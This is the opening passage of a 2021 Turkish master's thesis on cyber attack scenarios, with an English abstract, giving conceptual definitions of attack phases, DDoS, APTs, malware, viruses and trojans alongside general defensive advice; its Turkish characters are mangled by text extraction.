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SIBER GUVENLIK ACISINDAN SIiBER SALDIRI
SENARYOLARININ INCELENMESI
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Cagimiz artik teknolojinin riizgarin yoniine gelistirilmesinden ¢ok insan i¢in
teknolojinin gelistrilmesi bu sayede giinliikk yasami ve is hayatini kolaylastirma odakli
hale gelmistir. Insan hayatim1 kolaylastiran teknolojik temelli gelismeler onca olumlu
katkisinin yaninda ciddi giivenlik kaygilarinida beraberinde getirmistir. Siber saldiri
adin1 verdigimiz bu yeni kavram ve dogurdugu sonuglar tezimizin ingaasinin temelini
olusturmustur. Yapilan siber saldirilarin insana, devletlere, sirketlere verdigi ekomik
kayiplar ve psikolojik etkileri tezimizde irdelenmistir. Artik hayatimizda yediden
yetmise herkesin kullandig: teklojik aletler ile kisisel bilgi ve belgelerin nasil kolaylikla
el degistirebildigi ve bunlarin sonuglarinin kisi ve kurumlart maddi ve manevi agidan ne
kadar sarsict sonucglar dogurabildigi gercek ve sanal siber saldir1 senaryolari ile gozler

Oniine serilmeye calisilmistir.

Anahtar Sozciikler: siber, saldir1, giivenlik, maddi, teknoloji.



ABSTRACT

INVESTIGATION OF CYBER ATTACK SCENARIOS IN CYBER
SECURITY

Dilek Dogan
Master Thesis
Department of Computer Engineering
Computer Engineering Programme
Thesis Advisor: Asst. Prof. Ayse Salman
Maltepe University Graduate School, 2021

In today’s world, the goal of technology has shifted in order to meet people’s
needs, thus paving the way for a better and qualified life for humankind. As well as this
led to positive technology-based advances that make our life easier, it also brought
along cybersecurity concerns. This new concept that we called “cyber attack™ and its
consequences make the base of this thesis. In this paper, economic losses and
psychological effects of syber attacks on people, governments and businesses are
discussed. With real and virtual cyber attack scenarios, it is aimed to reveal how the
technological tools used by everybody around the world can easily change hands and
how they can result in disastrous material and moral consequences for individuals and

businesses.

Keywords: cyber, attack, security, material, technology.
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BOLUM 1. GIRiS

Bu boliimde, arastirmanin kimlik bilgilerinden olan problem, amag, Onem,

varsayimlar, sinirliklar ve tanimlara yer verilmistir.
1.1. Problem

Siber saldiri, bir veya daha fazla bilgisayar tek veya birden ¢ok bilgisayara veya
aga karsi kullanan siber suglular tarafindan baglatilan bir saldiridir. Siber saldiri,
bilgisayarlari1 kotii amagli olarak devre disi birakabilir, veri ¢alabilir veya ihlal edilen bir
bilgisayar1 diger saldirilar icin baslangi¢ noktasi olarak kullanabilir. Siber suglular,
diger yontemlerin yan sira kotli amach yazilim, kimlik avi, fidye yazilimi, hizmet reddi

de dahil olmak tiizere bir siber saldir1 baglatmak i¢in ¢esitli yontemler kullanir.

Yapilan bu siber saldirilar ile su ve kanalizasyon sistemlerine zarar gorebilir ve
yanlig yonetilebilir, ulastirma altyapisina yapilan saldir1 ile ulasim sistemleri felg
olabilir ve tim telekomiinikasyon sistemleri yanlis yonlendirilerek iletisim ve
ekonomik altyapr engellenebilir. Yangin sistemlerine saldir1 ise ciddi birgok soruna yol
acabilir. Stirekli olarak sanayinin ocaklarini a¢ik tutmak yangin felaketine neden olabilir
ve bu nedenden dolay1 binlerce can kaybi yasanabilir. Niikleer sistemlere saldiri
hepsinden daha da vahim ve geri doniilemez sonuglara neden olabilir. Onemli atom
kodlarinin ve bilgilerinin kopyalanmasi ulusal ve kiiresel diizeyde ciddi bir felaketle
sonuglanabilir. Kisileri veya Kitlesel bir niifusu siddetli bir sekilde etkilemek igin
kullanicinin veya tiim kuruluslarin bilgilerini izinsiz kopyalamak rahatsiz edici

sonuclara neden olabilir.

Siber saldirt ile yapilan dolandiricilik maddi kayiplara yol agar ama esas zarari
ise galinmig olan verilerin 6zellikle Karanlik Web'de satilmasi bilgisayar korsanlari i¢in
ve diger tigiincii sahislar icin ¢ok daha degerli olabilir. Fikri miilkiyet hirsizlig1 kisilere
ya da kuruluglara 6nemli oranda zarar verebilir ve durumda sirketler yillarca ¢abalayip
gelistirdiklerini kaybeder ve ticari sirlara veya telif hakkiyla korunan malzemelere Ar-

Ge yatinnmlarimi ve rekabet avantajlarin1 kaybetmelerine neden olur.



Her kurulus icin, sizmanin zamanlamasi Ve siiresi, faaliyet gosterdigi sektore
bagl olarak bir sizmanin etkisi bakimmdan benzersizdir. Ornegin, bir veri ihlalinin

finans sektorii i¢in, 0rnegin imalattan daha belirgin sonuglari olabilir.

Miisteri ve paydas giiven kaybi, siber saldirinin en zararli etkisi olabilir, ¢linkii
firmalarin miisterilerin verilerini koruyamazsa, s6z konusu sirketle bir daha is
yapmamay1 tercih edebilir. Bu, dogrudan is kaybina ve insa etmek i¢in ¢ok calistiginiz
markanin devalliasyonuna doniisebilir. Sirketin, tedarik¢ileri ve yatirimcilart ¢ekme

yetenegini de olumsuz yonde etkileyebilir.

Siber saldirilarin sonucunda, kisilerin hayatin1 tehdit etmeye, kopyalanan kisisel
bilgileri kullanarak psikolojik baski yoluyla depresyona girmelerine veya giinliik

faaliyetlerin aksamasina neden olabilir.

Siber saldirilarin kamu, hiikiimet ve diger akademik disiplinler ic¢in sahip
olabilecegi ¢oklu =zararlarin anlasilmast acisindan tezimizde bu zararlarin

degerlendirilmesi yapilmistir.

Fiziksel ve dijital agidan bakildiginda can kayb1 veya altyapiya zarar verilirken,
ekonomik agidan hisse senedi fiyatindaki diisiis, yasal para cezalar1 veya azalan kar gibi

etkiler siber saldirilarin olas1 sonuglari olarak karsimiza ¢ikabilir.

Psikolojik acidan etkileri gozetildiginde ise depresif, utanmis veya kafasi
karigmus bireyler yaratma gibi etkileri olabilir. Itibar acisindan bakildiginda ise énemli
personel kaybi, miisterilerle sorunlu iliskilere neden olma ve yogun medya baskisina

maruz kalma gibi etkilere neden olabilir.

Siber saldirilart sosyal ve toplumsal agidan degerlendirdigimizde, iist diizey bir
olaydan etkilenen kuruluslarda kilit hizmetler, olumsuz bir teknoloji algis1 veya i¢

moralin diismesi gibi giinliik is ve yagsam dongiisiinde bozulma riski dogurabilir.

Birgok basarili siber saldiri, siber saldirilardan etkilenme bigimlerini anlamayan
firmalarin eyleme gegmemesi nedeniyle uygun bir sekilde ele alinmamis olan bilinen

giivenlik agiklarinin istismarina dayanmaktadir.

Bir siber saldiriin bir igletmeyi ve {igiincii taraflan etkileyebilecegi bir¢ok farkl
yolun ayrintili bir dokiimiinii saglayarak, yonetim kurulu iiyelerine ve diger {ist diizey

personele, kuruluslarinin tehditlerini goz oniine alirken siber saldirilarin dogrudan ve



dolayli zararlarim1 daha iyi anlamalarini saglar. Bu ayn1 zamanda diger kuruluslar ve
hatta hiikiimetler veya kritik ulusal altyapiy1 yonetenler i¢in de kendilerini toparlayip

Onlem alabilmeleri i¢in gegerlidir.

1.2. Amacg

Bu arastirmanin temel amaci, yasanmis veya sanal siber saldir1 senaryolarini
degerlendirerek kurumlarin veya kisilerin dogacak zararlar konusunda farkindaliginin
arttirtlarak durumun ciddiyetine binayen siber giivenlik Onlemlerini arttirmalari
gerekirse profesyonel uzmanlarca yardim almalar ve gerekli giivenlik yazilimlarini
kullanmalar1 ve bunlar1 giincel tutmalart amaglanmistir. Bunun i¢in asagidaki agamalar

hakkinda farkindalik yaratilmaya ¢aligilmistir.

— Siber saldir1 kavrami nedir?

— Siber saldirilar hangi amaglarla diizenlenir?

— Siber saldir1 sonucunda kisisel zararlar hangi boyutlara ulagabilir?

— Siber saldir1 sonucunda kurumsal zararlar hangi boyutlara ulasabilir?

— Siber saldir1 sonucunda devletler ve kiiresel anlamda olusabilecek
zararlar hangi boyutlara ulasabilir?

— Siber saldir1 senaryolarini degerlendirerek alinacak odnlemler nelerdir?

— Siber saldir1 sonucunda olusabilcek zararlar daha dogmadan farkindalik
yaratilarak engellenebilir mi?

— Tirkiye'de ve diinyada yasanan siber saldirilarin bilisim teknolojilerinin
gelisimine katkilar1 ne yonde olmustur?

— Anlik saldirilar ve zamana yayilan saldirilarin kullandiklar1 yontem ve

amaglarinda goriilen farkliliklar nelerdir?
1.2. Onem

Siber saldirilarin kisisel veya kurumsal anlamda yeterince Onemsenmemesi
dolayist ile yogun bir kaygi duyulmadigi i¢in kisiler ve kurumlar bu saldirilara daha
acik bir halde sanal diinyada savunmasiz veya yeterince savunma onlemleri almadan yer
almaktadir. Sanal diinyadaki bilgi ve belgelerin yeterince korunmadan dolasiyor olmasi
beraberinde ciddi siber giivenlik sorunlar1 dogurmakta, izinsiz kopyalanan bu veriler

kurumlar1 ve sahislar1 doniisii olmayan sonuglarla kars1 karsiya birakmaktadir. Bu



arastirmamizda saldir1 senaryolari incelenerek dogan zararlar gosterilmis ve konuya

ciddiyetle yaklasilmas1 gerektiginin 6nemi bir kez daha vurgulanmistir.
1.4, Varsayimlar

Bu arastirmamizda kurumlarin, kisilerin ve kamu kuruluslarin siber saldirilardan
korunmak icin yeterli siber giivenlik Onlemleri almadigi, siber giivenlik yazilimlarini
giincel tutmadig1 veya siber giivenlik kavramini 6nemsemedigi varsayilmistir. Bu sayede
kurbanlarin siber saldirtya daha agik halde olduklar1 varsayimiyla ugradiklar1 zararlarin

normalden daha ciddi sonuglar dogurdugu varsayimiyla hareket edilmistir.
1.5. Simirhiklar

Bu arastirmada yapilan bazi siber saldirilarin manevi boyutlarinin etkileri gozle

goriiliir bir sekilde ortaya konulamayacagi i¢in genel hatlariyla yorumlanmastir.

Bazi siber saldirilarda ise olay tam olarak aydinlatilmadigi i¢in ortaya ¢ikan

maddi ve manevi boyutlar tam olarak ortaya konulamamaktadir.

Yine baz1 siber saldirlarin yillarca diizenlenmis olmasindan kaynakli
sonuclarminda kendini uzun yillarda gosterebilme sonucu dogdugundan dolayi siber
giivenlik acisindan dogacak sikintilar tam olarak tanimlanamamis ve sizitilarin hepsi
tamamen  kesfedilemediginden  dolayr  alinabilcek  Onlemler tam  olarak

anlamlandirilamamis olabilir.
1.6. Tanimlar

Siber Saldiri: Siber saldiri, herhangi bir bilgisayardan ya da birden fazla bilgisayardan
kablolu veya kablosuz ag iizerinden veri kopyalama, degistirme ve silme gibi islemler
icin kars1 tarafa bilingli olarak gergeklestirilen her tiirlii is ve eylemlerin biitiinline

verilen isimdir.

Siber Giivenlik: Siber giivenlik, sistemleri, aglari, programlari, cihazlar1 ve verileri
siber saldirilara kars1 korumak i¢in teknolojilerin, silireclerin ve kontrollerin

uygulanmasidir.

Siber Saldirn Senaryosu: Bir sanal sadirinin adim adim uygulama asamalar1 ve

sonuglarmin adim adim izlenmesidir.



Hacker (Kiric1): Ozelde, bilgisayar ve bilgisayar aglar1 gibi sistemlerin icsel

isleyislerinin derin bilgisine sahip olmaktan zevk duyan kisi (ERIS, 2009)
Cracker (Cékertici): Bir sistemde giivenligi kiran kisi (ERIS, 2009)

Log: Meydana gelen olaylarin ve hareketlerin kayit altina alindigi dosyalardir.

(wmaraci.com, 2020)

Ransomware (Ag Fidye Yazilimi): Bir miktar fidye 6denene kadar bir bilgisayar

sistemine erigimi engellemek icin tasarlanmis bir tiir kotii amagh yazilimdir.

Trojan: Kendini mesru bir yazilim gibi gostermeye ¢alisarak sisteme kullanici onayiyla

sizan, kotii amacl bir yazilimdir.



BOLUM 2. SIBER SALDIRI VE SiBER SALDIRI TURLERI

Cagimizin getirdigi bas dondiiriicii teknolojik yenilikler sayesinde hayatimiza bir
cok yeni kavramlar girdi. Bunlardan siklikla duydugumuz siber saldiri, siber savas,
hacker, cracker gibi terimleri ve artik yasanan siber saldirilara karsi alinabilecek

bireysel ve kurumsal giivenlik 6nlemlerini ele alacagiz.
Siber Saldir1 Nedir?

Siber terimi sibernetik kelimesinden gelmektedir. 1958 yilinda makineler ve
canlilar arasindaki iletisim {izerine arastirmalar yapan Louis Couffignal tarafindan
kurulan Sibernetik bilimini temel almaktadir. Siber saldir1, kisilik haklarina da bir
saldir1 niteligi tasimaktadir. Normal hayattaki taciz, tehdit ve santaj gibi durumlarin
dijital ortamda sahsi bilgilere saldirarak gerceklestirilmesidir. Bu tiir saldirilara, sanal
ortamlarda daha fazla bulunmalarindan dolay1 ¢ocuklar ve gencler daha ¢ok maruz

kalmaktadir. (Tagd6gen, 2019)

Siber saldir1, herhangi bir bilgisayardan ya da birden fazla bilgisayardan kablolu
veya kablosuz ag lizerinden veri kopyalama, degistirme ve silme gibi islemler i¢in karsi
tarafa bilingli olarak gerceklestirilen her tiirlii is ve eylemlerin biitiiniine verilen isimdir.
Kot amagli yapilan bu saldirilar bazen internet sitelerine erisimi engellemek ve

yavaglatmak amaci da giidebilir.

Son donemde siber saldirilar1 yapan kisiler orgiitlii hale gelerek kendilerine
bulduklar1 bir isim catist altinda drgiitlenerek birlikte hareket etmeye baglamislardir. Bu
egilim diinya genelinde artmakta bu da saldiriya ugrayan kisi ya da kurumlarin giivenlik
onlemlerini oldukca zorlayabilmektedir. Yapilan orgiitlii saldirilar beraberinde coklu
saldirilart getirdigi i¢cin ayni anda biiylik gruplarin saldirilarint 6nlemek bir hayli zor

olmaktadir.



Siber saldirilar devletler arasi boyuta ulagtiginda ise "Siber Savas" olarakta
adlandirilmaktadir. Siber savaslarda genelde esas amag devlet kurumlarina saldirarak is
goremez hale getirip kars1 devleti itibarsizlastirma ¢abasi ya da gizli bilgi ile belgeleri
sizdirmak tizere odaklanmistir. Oldukga biiylik maddi kayiplara neden olabilmektedir.
Devletler c¢agimiza ayak uydurarak siber saldirilara karst kendi siber gilivenlik
uzmanlarindan olugan birimleri ile gelmesi muhtemel saldirilara karst Onlem

almaktadirlar.

Siber savas, “Aym saldirilarin iilke veya iilkelere yonelik yapilmasidir” . Siber
savasta hedef iilkelerin giivenlik, saglik, enerji, haberlesme, su ve kanalizasyon,
bankacilik ve kamu hizmetleri gibi kritik altyapilart saldir1 alani olarak segilmektedir.

(Yilmaz & Sagiroglu, 2013)

Direk hedef gozeten siber saldirilarin yaninda kripto virtisleri gibi hedef
gozetmeden de saldir1 diizenleyebilen siber saldirilari tipleri vardir. Siber saldiri

stireglerini ti¢ ana baslikta incelemek miimkiindiir.
1. Tarama, bilgi toplama ve kesif
2. Erisim izni saglamakx ve istismar etmek
3. Servis dis1 birakma saldirilari

Ik asama olan kesif asamasinda siber saldirganlarin genel olarak amagladig
nokta, hedef sistemler hakkinda detayli bilgi toplamak ve topladiklari bu bilgiler
sayesinde ikinci asamaya ge¢mek adina on hazirlik amaciyla kullanirlar. Kullanicinin
kullandig: sistemin zafiyetlerinin bulunmasi, sisteme baglanti hakk: elde edebilmek igin
sahip olunmasi gereken kullanict haklarinin tespit edilmesi, hedeflenen isletim
sistemlerinin tespiti, giivenlik duvari cihazlari, IDS, IPS gibi glivenlik amaglh kullanilan
saldir1 engelleme sistemleri ve benzeri gilivenlik yazilimlarini saf dis1 birakabilmek i¢in
gerekli olan bitiin verilerin toplanmasi saglanir. Eger ki hedef kurum, kurulus ya da
KOBI ise, bilgi toplama asamasinda 6zellikle kolay hedef olarak goziiken calisanlar
iizerinde yogunlasilir. Ozellikle sanal korsanlar, kurumlarda calisan kisilerin Facebook,
LinkedIn, Instagram ve Twitter benzeri sosyal medya hesaplarinda var olan tiim kisisel
bilgilerin bir kopyasini alarak, bu bilgileri kurumsal bilgileri elde edebilmek i¢in ya da

kisisel bilgilerini izinsiz erisim hakkina sahip olarak kullanabilmektedirler.



Kullaniciya yapilan bilgi toplama saldirilarindan sonra elde edilen bu bilgilerin
kullanildig1 erisim elde etme asamasina gegilir. Erisim elde etme asamasinda ise izinsiz
edinilen tiim bilgiler kullanilarak saldir1 diizenlenecek olan hedef sistemlere veya
kisilere zararl igerige sahip dosyalar, kotii niyetli kod pargaciklar1 veya koti niyetli
elektronik postalar gonderilerek sistem {izerinde yetkisiz erisim elde etmeye
calisilmaktadir. Maalesef ki zararli yazilim bulagan kisi ya da kurum bilgisayari
bulasanin farkinda degilse siber saldirganlarin amaclarma kurban olabilir ve bunun
sonucunda sistemlerine erisim i¢in kisilerden kopyalanilan parola vb. bilgiler
kullanilabilmektedir. Kullandigimiz bilisim teknolojileri varliklarinin (IT) zafiyetleri bu
asamada kullanilan en onemli agiklar1 teskil etmektedir. Ayarlamalar1 dogru olarak
yapilandirilamamis bir giivenlik duvari, antiviriis programi, saldiri 6nleme sistemi
(IPS), saldir1 tespit sistemi (IDS) gibi sistem giivenlik programlarini algilayarak bu
cihazlar araci olarak kullanip isletim sistemlerinin agik noktalarin1 kullanarakta

sisteminize yetkisiz erisim saglama imkanini bulabilir.

Siber saldirganlarin siklikla kullandigi bir baska saldiri tiirii ise servis dist
birakma diye adlandirdigimiz DDoS saldiri tiiriidiir. Bu sekilde yapilan saldirilar
sonucunda kurumlarm bagli oldugu tiim sunucularimi ve internet baglantisini kesmek
kayd: ile dis diinya erisiminizin kopmasina ve is yapamaz duruma gelmenize neden
olabilmektedir. Internetin is hayatina etkin bir sekilde girmesiyle e-ticaret gibi tamamen
sanal alandaki miisterilere hitap eden ve gelirlerini olusturan sirketler igin DDOS
saldirtlart  oldukga Onemli tehdit diizeyine sahiptir ve maddi agidan sirketlere

ongoriilemez zararlar verebilecek kadar agir sonuglar olusturulabilmektedir.

Siber saldirganlar kullanicilara, kurum ve kuruluslara asagida belirtildigi gibi

zararlar verebilirler.

1. Misterilerin kullandig1 sistemin giivenlik duvarin atlatarak sisteme sizabilir ve

miisteri verilerini kopyalayabilirler.

2. Kullanicilarin sahip oldugu bilisim teknolojileri (1T) varliklari {izerinde saklanan
miisterilerin bilgileri ve ticari kayitlar gibi bilgileri kriptolayarak kullanilmaz

hale getirip, bu kriptonun ¢dziilmesi i¢in karsiliginda fidye isteyebilirler.

3. Kameranizi veya mikrofon sizden habersiz agarak, ortam kayd: alabilir ve

bulunan ortamin dinlenilmesi ile elde ettikleri verileri internetteki {igiinci



sahislara ¢ikar karsilig1 ya da baska amacla aktarabilecegi gibi santaj amaci ile

de degerlendirebilirler.

4. Kullandigimiz aginiza sizarak bilgilerinizi ve dosyalarimizi izinsiz g¢ogaltatip

kullanabilir ve rakip firmalara satabilirler.

5. Var olan sistemlerinizi ¢alisamaz bir hale getirmek kaydiyla kurumun islerligini

durdurabilir, sekteye ugratabilirler veya itibar kayb1 saglayabilirler.

6. DDoS yani hizmet dis1 birakma saldirilar1 diizenleyerek kurum itibarina ulusal
veya uluslararasi arenada zarar verebilecekleri gibi maddi agidan geri

doniilemeyecek biiytikliikte zararlara yol acabilme imkanina sahip olabilirler.

7. SPAM e-postalart gondererek sisteminizde bulunan dosyalariniza zararli kodlar

araciligi ile viriis bulastirabilirler.

8. Farkinda olmadan gezdiginiz siteler veya programlarin kaydini tutarak kredi
karti ile bankacilik bilgileriniz ve parolaniz gibi gizliligi yiiksek derecede 6nem
arzeden Dbilgileri elde ederek kisisel veya kurumsal hesaplarinizi bosaltma

imkani1 bulabilirler.

9. Kisisel ya da sirkete ait olan bilgisayarlar1 bagka sirketlere veya devletlere saldir1

diizenlemek i¢in kullanabilirler.

10. Kisisel ya da sirkete ait olan bilgisayarlarin islemcinin (CPU) ve gecici bellegin
(RAM) sahip oldugu potansiyelleri, Bitcoin ve buna benzer dijital para birimleri

tiretebilmek i¢in madencilik amaciyla degerlendirebilirler.

Siber saldiri, “hedef secilen sahis, sirket, kurum, Orgiit, gibi yapilarin bilgi
sistemlerine veya iletisim altyapilarina yapilan planli ve koordineli saldirilardir”.

(Y1lmaz & Sagiroglu, 2013)

Siber saldiriy1 genel olarak bilgi ve iletisim sistemlerini kullanan elektronik
araglarin, bilgisayar yazilimlarimin veya bagka elektronik iletisim modellerinin
kullanilmas: sayesinde ulusal ve ya uluslararasi ¢ikarlarin dezenforme edilmesini
amaglayan kisisel ve gurup olarak bir yone dogru kanalize edilmis belli bir amag

dogrultusundaki eylem ve etkinlikler olarak tanimlayabiliriz.



Cagimizda yayginlasan internet kullanim oranlar ile birlikte siber saldiri, bagka

bir sdylemle diizenlenen sanal saldir1 olaylar1 da siirekli artis gostermektedir.

Siber saldirilar ve siber giivenligin O6nemi, bilisim sistemlerinin insan
hayatindaki yeri arttikga yani IP (internet protokolii) adresi alan cihazlarin sayisi

arttik¢a, her gegen giin artmaktadir. (Ozbay, 2015)

Gilivenlik uzmanlar ile bilgisayar korsanlar1 arasinda devam eden miicadeleler
sayesinde sistemlerin daha da giivenli hale geldigi savunulabilir. Bu yarisin sonucu
olarak da ortaya gelismis siber saldir1 olarak adlandirilan, ¢ok daha karisik ve gelismis
tekniklerin kullanildig1 ve uzun g¢alismalar sonucunda ve belirli bir amag¢ dogrultusunda
tecriibeli bilgisayar korsanlari tarafindan yapilan hatta devletlerin destekledigi bilinen
ve/veya diistiniilen saldirilar ortaya ¢ikmistir. Bu gelismis saldirt tiirii APT (Advanced
Persistent Threat) olarak adlandiriimistir. (Ozbay, 2015)

Geng bilgisayar korsanlar1 ve kiigiik Olgekli suc¢lulardan ziyade karmasik
(sofistike) saldir1 yapabilen tecriibeli bilgisayar korsanlar1 ve devlet destekli saldirganlar
devletler ve isletmeler icin en ¢ok tehlike arz eden tehditlerdir. Bu saldirganlar 6ncelikle
kurumlardaki bilgileri c¢almaya ve bireyleri ya da isletmeleri dolandirmaya
odaklanmaktadir. APT saldirisi, genellikle devlet destekli olup gelismis yontemlerle
organizasyonlara sizarak haftalarca, aylarca hatta yillarca bu organizasyonlarin tespit

etmesine kars1 saklanarak, bilgi kagirmak icin yapilan saldiridir. (Ozbay, 2015)

APT hedefi net olarak belirlenmis, ileri seviyede ve uzun siireli tehditler iceren,
siber savaglarda kullanilmak tizere gelistirilmis zararli saldir1 yazilimlaridir. APT’ler

genellikle devletlerin kritik altyapilarin1 hedeflemektedir. (Ozbay, 2015)
Siber Saldir: Tiirleri Nelerdir?

Siber saldir1 gesitli yollarla yapilabilir. Ornegin saldir1 yapilacak bilgisayarin,
kisinin ya da kurumun sifre bilgileri ele gegirmek sureti ile yapilabilir. Sifre bilgileri
alindiktan sonra saldir1 islemi i¢in gerekli hazirliklar yapilir. Devaminda da viriis iceren
elektronik mesajlar, bildirimler ya da igerikler gonderilerek sanal saldir1 islemi
yapilmaktadir. Bu tarz saldir1 yonteminde, saldir1 Oncesi bir takim hazirlik ve bilgi
toplama islemi yapildiktan sonra siber saldirtya islemi baslatilir. Ikinci bir siber saldiri
yontemi ise siber ortamdan bireye psikolojik baski olusturarak sanal zorbalik yapmak

kaydiyla onu toplum 6niinde kiiciik diisiirecek bir sekilde yapilan saldir1 yontemidir.
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Ikinci saldin ydnteminde sonuglar maddi kayiplardan oteye kisinin hayatini
sonlandirma tesebbiislerine varan agir sonuglara kadar gidebilmektedir. Yasalar oniinde
sanal diinyada islenen suglar her ne kadar artik gercek diinyadaki gibi sug teskil
etmekteyse de caydirici olamamaktadir. Insanlarin yaptigi siber saldirilar ve siber
zorbaliklarin cezasiz kalacagi egilimi toplumlar da gozlenebilmektedir. Siber saldirilar
Tirk Ceza Kanununa gore su¢ sayilmasi insanlarin goziinde bir nebze de olsa

caydiricilik yaratmak i¢in olumlu bir adimdir.

Bir baska saldir1 ¢esidi sabit siiriiciilere herhangi bir zararli yazilim kaydetme
islemi olmaksizin, yalnizca gecici bellek (RAM) iizerinde islem yapan “dosyasiz”
saldirt tipleri de bulunmaktadir.. Bilgisayarinizin belleginde gizlenerek kullaniciya
farkettirmeden sistem yoneticilerinin sifrelerini  topladigit ve hedefinde bulunan
kurbanlarin sistemlerinin uzaktan erisim saglayarak kontrol edilebildigi siber saldir1 tipi
de kullanicilara biiylik zararlar verebilmektedir. Dosyasiz saldiri ile 6zellikle finans

sektorli oncelikli hedef konumundadir.
En sik karsilagilan siber saldirt tiirleri asagidaki listede incelenmistir.
1. Zararli Yazilimlar (Malware):

Bilgisayar sistemlerini kotii amagli kullanmak igin sistem bilgilerine erigim
saglamaya yarayan ya da bilgisayar sistemlerine ciddi zararlar veren bilgisayar
programlaridir. Zararli yazilimlar genel bir kavram olup viriisler, solucanlar, truva
atlari, rootkitler ve casus yazilimlar bu konseptin icerisinde kendine yer bulabilirler.
Zararl yazilimlar insanlara, siireglere ve/veya teknolojilere karsi kullanilabilir. Burada
ki temel ve en 6nemli nokta ise zararli yazilimlarin amacinin sistemlere yetkisiz erisim
hakkini elde etmek veya kritik verilerin elde edilmesini saglanmasi oldugudur. (Istanbul

Universitesi Kariyer Gelistirme Uygulama ve Arastirma Merkezi, 2015)

Kisisel bilgisayarlara kullaniciya fark ettirmeden bulasarak sahtekarlik,
dolandiricilik ve kimlik hirsizligi gibi suglarin islenmesine neden olan yazilimlardir.
Bunun sonucu olarak, internette aligveris, bankacilik islemleri, e-posta alip gonderme,
aninda mesajlasma ve oyun oynama amaciyla gerekli giivenlik programlar1 ve dnlemleri
olmayan bir bilgisayar kullaniyorsaniz kendinizi ve o bilgisayar1 kullanan diger kisileri

riske atiyorsunuz diyebiliriz. Bu sebepledir ki kotii amagli yazilimlara karst giivenlik
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duvari, anti virlis ve anti spyware (casus yazilim) programlart kullanmaniz ve bu

programlar1 da giincel tutmaniz olduk¢a énemlidir.

Kotii amagh yazilim, zararli yazilim veya ingilizce kelime olarak malware,
mobil cihazlarin ve bilgisayarlarin islevlerini bozmak, kritik bilgileri kopyalamak,
kisisel veya kurumsal bilgisayar sistemlerine yetkisiz olarak erisim saglayabilmek ve
istenmeyen reklamlart kullaniciya gosterebilmek icin kullanilmakta olan yazilimlar

biitliniine verilen genel bir kavramdir.
2. Virlsler:

Viriisleri, kullanicilarin bilgisi ve izni dahilinde olmadan gizlice bilgisayarin
calisma prensiplerini degistirebilen ve kendisini baska dosyalarin igerisine kod pargacigi
olarak ekleyerek gizlemeye c¢alisan esasinda bir tiir bilgisayar programi olarak tarif

edebiliriz.

Bilgisayar viriisleri kendini sistemdeki dosyalardan ya da programlar biri olarak
degistiren bilgisayar kodlaridir. Viriislerin anlasilmasindaki kritik nokta ise bir kullanict
tarafindan calistirllmalar1 gerektigidir. Genellikle bir kullanicidan gelen e-postanin
acilmasi, ya da USB’nin otomatik calistirllmas1 seklinde meydana gelebilmektedir.

(Istanbul Universitesi Kariyer Gelistirme Uygulama ve Arastirma Merkezi, 2015)

Viriisler genellikle e-posta mesajlarindaki eklenen dosyalara, anlik sosyal
mesajlasma igeriklerine eklenerek ya da ¢esitli donanimsal ve yazilimsal agiklardan
yararlanarak bulasirlar. Bu sebeple 6zellikle e-posta eklerini, mesajin hangi kisilerden
geldigini bilmiyorsaniz veya gelen e-posta size siipheli goriindiiyse asla agmamaniz
onerilir. Virisler, eglenceli resimler, tebrik kartlari, kutlama mesajlar1 veya goriintii ve
ses dosyalar1 gibi ekler halinde kimliklerini gizleyerek bulasabilirler. Tanidik birinden
geliyor goriintiisiine biiriinerekte mesajlar size iletilebilirler. Anlasilabilecegi iizere u
tarz bulas1 yontemleri sebebi ile isler ger¢ekten isin iginden ¢ikilmasi zor bir duruma

gelmektedir ki bu da kullanicilarin daha dikkatli davranmas1 demektir.

Viriisler ayrica zararli yazilimlar igeren internet siteleri araciligiyla veya
internette giivenilir olmayan az bilinir sitelerden yapilan karsidan yiiklemeler yoluyla da
yayilabilmektedir. Viriisler, zararli igerik barindiran internet sitelerinin farkli yontemleri
ile istemli ya da istemsiz olarak herhangi bir giivenilir olmayan kaynaktan bilgisayarlara

kurulan programlar araciliiyla, yasalara uygun olmayan sifresi kirilmis yazilimlarda,
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karsidan yiiklemek isteyebileceginiz diger dosyalarda ve yazilimlarda da
gizlenebilmektedirler.

Bilgisayar viriislerinin sisteminize bulasmamasi i¢in bilgisayariizin sistem
giincelleme ve yamalarimi gilincel tutmaniz, antiviriis programlarini otomatik
giincellemeye ayarlamaniz, diinyada ki en son tehditler hakkindaki haberler konusunda
bilgi sahibi olmaniz, yonetici haklariyla bilgisayarmizi g¢alistirmak yerine standart
kullanic1 ya da misafir kullanici olarak kullanmamiz, internette gezinti yaparken,
sitelerden dosyalar1 bilgisayarimiza yiiklerken ve eklerini agarken bazi temel giivenlik
onlemlerine uygun olarak hareket etmek sizi ve sisteminizi giivende tutmaya

yarayacaktir.

Eger ki sisteminize viriis bulasmistiysa, viriisiin tiiriinii bilmek ve sisteminize
bulagsmak icin kullandigr yontemi bilmek, viriisii silmek ve sisteminize daha fazla

bulagsmasini engel olmak adina olduk¢a 6nem arz etmektedir.
3. Truva Ati:

Bilgisayar kullanicilarinin igerigi hakkinda derinlemesine bilgisi olmadan
yiikledikleri zararli yazilimlardir. Ornegin bir kullanicinin "Flash Player" yiikledigini
diistiniirken aslinda “Adobe” ya da giivenilir bir kaynak yerine rastgele bir kaynaktan
“Flash Player” yiiklemesi olarak diisiintilebilir. Genel olarak Truva at1 olan programlar
dosyanin sisteme indirilmesi sonrasinda yiiklenmesi neticesinde bilgisayar sistemlerine
bulagirlar. Truva atlarinin  karakteristigi kullanict bilgisayarinin uzaktan kontrol
edilebilmesi ya da izlenmesinin saglanmasidir. Truva ati yiliklenmis oldugu
bilgisayarlarin zombi bilgisayarlar olarak da kullanilmasina izin vermektedir. (Istanbul

Universitesi Kariyer Gelistirme Uygulama ve Arastirma Merkezi, 2015)

Truva ati zararli kod igeren yazilim olarak adlandirilabilir. Bilgisayar terimi
olarak truva ati iilkemizde iyi bilinen Canakkale civarlarinda gecen tarihi truva ati
efsanesinden tiiretilmistir. Faydali program ya da bir hediyeymis gibi kullaniciya
sunulan program gibi goriintii verilen zararli yazilim calistirildiginda siz farkinda
olmadan bilgilerinize veya diger kullandigimiz programlariniza zarar verir veya
bilgilerinizi izinsiz olarak kopyalayarak istenmeyen ligiincii sahislarla paylasmak iizere

tasarlanmiglardir.
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Truva ati; siber saldirganlara kullanicidan habersiz bilgilerinizeve dosyalariniza
ulagim imkani saglar. Fakat bunu dogrudan yapmak yerine truva atinin igine saklandigi
yazilimi kullanicidan c¢alistirmasini bekler. Kullanict yazilimi ¢alistirinca istemsiz
